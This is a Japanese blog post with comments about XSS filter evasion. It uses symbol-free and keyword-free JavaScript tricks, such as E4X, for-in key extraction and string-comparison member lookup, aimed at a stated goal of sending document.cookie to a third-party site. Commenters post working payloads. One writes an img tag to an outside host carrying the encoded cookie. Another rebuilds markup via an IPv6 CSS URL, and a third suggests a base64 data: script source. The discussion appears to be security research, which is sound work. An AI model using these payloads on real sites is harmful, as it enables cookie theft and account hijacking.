書く内容の方針とかはフラフラしているのです。あまり考えていないかも知れません。面白いなぁと思うこと、大事なことだなぁと思うことを書いています。あんまり悲しいことは書かない主義。
実を言うと記号なしでJavaScriptというhasegawayosukeさんのトリックをあんまり深く調べていないんですよね。なんとなく筋道はわかるはずなので自分で作ってみようかとチャレンジしているわけです。そこで最初に考えていた問題が、文字「p」が欲しいということなんです。esca「p」eとunesca「p」eをいずれ作らなくてはいけないはずですから。たぶんこれが文字全部を表現するための最短ルート。「%」を得て数字とくっつけてunescape?
(/_/).constructor + ''
これでstringオブジェクトとしてリテラル値が「RegExp」になればケツを拾えば「p」が拾えて万万歳なはず…と思っていたのですが…
function RegExp() {
[native code]
}
ver3.0.11ではこんなstringオブジェクトが返ってきています。うむ。Firefoxのバージョンによっては違うのかなぁ?1.5.0.8あたりでは「RegExp」が返ってきているような気がしましたが記憶違いかな?要調査也。
ハイゼンベルグとボーアは、初期の量子力学構築の大立者の物理学者です。この人たちの名前がついたバグの分類方法の名称があるのだそうで。
なんか、量子論の不確定性原理からもじってきたような(笑)
//基礎for (foo in {bar:0}){ } // foo = "bar" alert(foo); // alerts "bar" alert(typeof foo) // alerts "string"
//応用for each (obj in {e:{}}){ for each (obj[<>{<>al</>}{<>ert(1)</>}</>] in {z:0}){ for (x in obj){ } } } alert(x) // alerts "alert(1)" alert (typeof x) // alerts "string"
文字列"alert(1)"が隠密になっていますね。文字列結合系のゆえんです。文字列結合にあたって意識的に使っていないのは以下の記号かな。マイナス記号があまりにも便利だとわかったのはつい最近ですけれど。>thanks, Mr.hasegawayosuke
' (クオート) " (ダブルクォート) \ (バックスラッシュ) % (パーセント) + (プラス) - (マイナス) * (アステリスク) = (等号) , (カンマ) . (ドット)
これ以上使える記号を削るのは正直厳しいけれど、上と同じ条件で、以下の$userdataにフィルタリングがかかっているとして…
<script> $userdata </script>
document.cookieを第三者のサイトに送りつけることが恐らく可能なのではないのかなぁと、今奮闘中なのであります。あ、言い忘れましたけれど、セキュリティフィルタにひっかかりそうな文字列は全部禁止の方向で。たとえば、「eval」や「location」「atob」とかは使えない、なんちゃて。禁止すればいいのは、new と、組み込みクラスの名前と組み込み関数の名前と、組み込みメソッドの名前と、組み込みプロパティの名前とtypeof だけかな? 悩み中。詰め問題を作るのも難儀なのであります。あ、そうか、thisとかtopとかselfとかグローバルオブジェクトそのものを指すのも禁止かあ。どうすりゃいいんだべ?
本当はなんとかして「each」を使わない、<>を使わない、できればクロスブラウザで、なんて考えているから面倒なんですよー
それに、普段は意識もしていなかったビット演算子まで考えるとなんだかうすら寒くなってきますしね。(舌
document.write("<script>\n"+a+"<"+"/script>")
をすれば良いので。
うーん。concatは組み込まれたメソッド(関数)なので直接書きたくないのですが、うーん。document,E4Xで簡単に消せるのですか! えー? string型の"document"ならうなづきマンです。objectでも作れるのですか? 教えてください。
>masaさん
私が勘違いしているのかもしれませんが、"write"は直接書きたくないんです。別手段で事実上writeメソッドを呼べれば良いのですが。
コメントをありがとうございました。また考えてみます。
for (var a in document) {
if (a >"writd") {
if ("writf">a) {
document[a]('<img src=http://www.example..com/')
for (var b in document) {
if (b > "cookid") {
if (b < "cookif") {document[a](encodeURI(document[b]))}
}
}
document[a]('>')
}
}
}
メンバ名列挙させてヒットさせたいメンバ名文字列だけでtrueとなるメンバ名そのものを含まない条件式を書けばOK
IPv6対応環境ならこれでいけるはず。
<script>
</script>style<style> body{background:url(http://[0::1]/style)}</style>style<script>
for (writd_ in {writd:0}){}
for (writf_ in {writf:0}){}
for (cookid_ in {cookid:0}){}
for (cookif_ in {cookif:0}){}
for (toString_ in {toString:0}){}
for (charAt_ in {charAt:0}){}
for (length_ in {length:0}){}
for (body_ in {body:0}){}
for (innerHTML_ in {innerHTML:0}){}
for (split_ in {split:0}){}
for (style_ in {style:0}){}
for (var a in document)
if (a >writd_) if (writf_ > a) if (6 >a[length_]) {
document[a](document[body_][innerHTML_][split_](style_)[1])
document[a](style_)
document[a](document[body_][innerHTML_][split_](style_)[2])
for (var b in document) if (b >cookid_) if (cookif_ >b) document[a](encodeURI(document[b]))
document[a](document[body_][innerHTML_][split_](style_)[3])
document[a](style_)
document[a](document[body_][innerHTML_][split_](style_)[4])
}
</script>
IPv4のアドレスやホスト名文字列を使う場合は Math["PI"]["toString"]()の結果の文字列からで"."を取り出して文字列を組み立てれば何とかなりそう。
ありがとうございます<参考文献
var win = null;var forEach = [].forEach;forEach(function(val, prop,thisp) {win = thisp;}, []);win
拝見したところ、これが一番私のイメージに近いです。でもforEachという組み込みメソッドを使っていますから、あとはコレをなんとかそればいいということに。でも「=」使いたくないし、あぁ、どうしよう!それと、valueOfという組み込み関数も鬼門なのですね、なるほど。
どうやったら制限下でwindowオブジェクトを採取できるのでしょう?うううううううう。
masaさん>
なにやら読み解くのに時間がかかりそうです、それにしても、ごつい感じですねぇ、IPv6系をもってくるのは発想の外にありました、勉強になります。
<script>
</script>
<script src=data:text;base64,base64でエンコードしたスクリプト>
</script>
っていう手もありますね。
エンコードされたスクリプトが実行されるときに
documentオブジェクトにアクセスできるのかどうか自信がないですけど。
=を消すのはとても難儀なことになりかねませんですね、確かに。拙文の「文字列結合系::こんなん作りました 」では、かなり時間を割いています。人間ブルートフォースみたいな。
====
hasegawayosukeさん、E4Xなしでも、string型の/をひねり出す技をみつけましたので近々。